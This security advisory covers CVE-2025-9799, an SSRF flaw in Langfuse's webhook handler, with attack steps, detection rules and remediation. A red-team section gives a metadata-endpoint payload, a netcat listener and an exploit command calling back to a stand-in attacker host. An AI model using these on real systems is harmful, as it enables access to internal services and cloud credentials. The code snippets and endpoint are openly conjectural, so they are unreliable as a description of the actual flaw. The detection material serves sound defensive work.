CVE-2025-9799

Executive Summary

CVE-2025-9799 is a Server-Side Request Forgery (SSRF) vulnerability discovered in Langfuse up to version 3.88.0. The flaw resides in the promptChangeEventSourcing function within the Webhook Handler component (web/src/features/prompts/server/routers/promptRouter.ts). Successful exploitation allows an attacker to manipulate the webhook handler into making requests to internal or external resources, potentially leading to information disclosure or further network compromise. The attack requires high complexity and is remotely exploitable. A public exploit has been released, increasing the risk of active exploitation.

Supply Chain & Package Security

Langfuse is an open-source observability and analytics platform for LLM applications. This vulnerability affects the core web application component. As the patch status is unknown, organizations using Langfuse should consider this a supply chain risk and monitor for official updates or patches from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 5.0 (Medium)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): High (H) - Successful exploitation requires specific conditions or knowledge.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the public availability of an exploit and the potential for SSRF to pivot to internal networks elevates the risk.

Deep Dive & Mechanics

The vulnerability is located in the promptChangeEventSourcing function within the Webhook Handler. This function is responsible for processing webhook events related to prompt changes. The flaw arises from insufficient validation of user-supplied URLs or endpoints within the webhook payload. An attacker can craft a malicious webhook event that includes a URL pointing to an internal resource (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata) or an external server under their control. When the handler processes this event, it makes an HTTP request to the attacker-specified URL, effectively performing an SSRF attack.

The high complexity is due to the need to understand the webhook event structure and bypass any existing input validation. The public exploit likely provides a ready-to-use payload.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.88.0): The vulnerable code likely directly uses the user-supplied URL without proper validation.

// Vulnerable snippet (conceptual)
async function promptChangeEventSourcing(event: WebhookEvent) {
  const targetUrl = event.payload.url; // No validation
  const response = await fetch(targetUrl);
  // Process response...
}

Patched Code (Hypothetical): A patch would involve validating the URL against an allowlist of permitted domains or IP ranges, and/or using a URL parser to reject internal addresses.

// Patched snippet (conceptual)
import { URL } from 'url';

async function promptChangeEventSourcing(event: WebhookEvent) {
  const targetUrl = event.payload.url;
  const parsedUrl = new URL(targetUrl);
  
  // Reject internal IPs
  if (isInternalIP(parsedUrl.hostname)) {
    throw new Error('Invalid URL');
  }
  
  // Allowlist check
  if (!ALLOWED_DOMAINS.includes(parsedUrl.hostname)) {
    throw new Error('URL not allowed');
  }
  
  const response = await fetch(targetUrl);
  // Process response...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Langfuse <= 3.88.0.
• Ability to send webhook events to the vulnerable endpoint.
• A listener (e.g., nc -lvnp 4444) to receive outbound requests.

Exploit Steps:

1. Identify the webhook endpoint (e.g., /api/webhooks/prompt-change).
2. Craft a malicious webhook payload with a URL pointing to an internal resource or your listener.
3. Send the payload to the endpoint.
4. Observe the request on your listener or access internal resources.

Example Payload (JSON):

{
  "event": "prompt_change",
  "payload": {
    "url": "http://169.254.169.254/latest/meta-data/"
  }
}

Using the Public Exploit: If a public exploit script is available, execute it with the target URL and desired callback URL.

python3 exploit.py -t http://target-langfuse.com -c http://attacker-listener.com:4444

Blue Team

Detection:

• Monitor outbound HTTP requests from the Langfuse server to unexpected destinations.
• Look for webhook events containing URLs with internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x).
• Alert on high volumes of webhook events from a single source.

Hunting:

• Search logs for promptChangeEventSourcing function calls with suspicious url parameters.
• Correlate webhook events with subsequent outbound connections to cloud metadata endpoints.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to internal IP addresses (e.g., 10.0.0.1, 172.16.0.1, 192.168.1.1, 169.254.169.254).
  • Connections to attacker-controlled IPs or domains from the Langfuse server.
• Logs:
  • Webhook events with url fields containing internal IPs or unusual domains.
  • Errors related to fetch or HTTP requests in application logs.
• File System:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule Detect_Langfuse_SSRF_Exploit {
    meta:
        description = "Detects SSRF exploit attempts against Langfuse CVE-2025-9799"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9799"
    strings:
        $url_pattern = /"url"\s*:\s*"http:\/\/1\d{0,2}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ nocase
        $internal_ip = /"url"\s*:\s*"http:\/\/(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|169\.254\.)/
    condition:
        any of them
}

Sigma Rule

title: Langfuse SSRF Exploit Attempt (CVE-2025-9799)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SSRF attempts against Langfuse webhook handler
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9799
logsource:
    category: application
    product: langfuse
detection:
    selection:
        event: "prompt_change"
        payload.url|contains:
            - "169.254.169.254"
            - "10."
            - "172.16."
            - "172.17."
            - "172.18."
            - "172.19."
            - "172.20."
            - "172.21."
            - "172.22."
            - "172.23."
            - "172.24."
            - "172.25."
            - "172.26."
            - "172.27."
            - "172.28."
            - "172.29."
            - "172.30."
            - "172.31."
            - "192.168."
    condition: selection
falsepositives:
    - Legitimate use of internal URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Langfuse SSRF Exploit Attempt (CVE-2025-9799)"; flow:to_server; content:"/api/webhooks/prompt-change"; http_uri; content:"\"url\""; http_client_body; pcre:"/\"url\"\s*:\s*\"http:\/\/(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|169\.254\.)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, isolate the Langfuse server from internal networks to limit SSRF impact.
2. Monitor: Implement the detection rules above to identify exploitation attempts.
3. Restrict: Use a web application firewall (WAF) to block requests to internal IP addresses from the webhook endpoint.

Long-Term Fix:

1. Patch: Apply the official patch from Langfuse once available. Monitor the vendor's GitHub repository for updates.
2. Code Fix: Implement input validation for the url parameter in the webhook handler, using an allowlist of permitted domains and rejecting internal IPs.
3. Upgrade: Upgrade to a patched version of Langfuse as soon as it is released.

Workaround:

• Disable the webhook handler if not in use.
• Implement network segmentation to prevent the Langfuse server from reaching sensitive internal resources.

Valters IT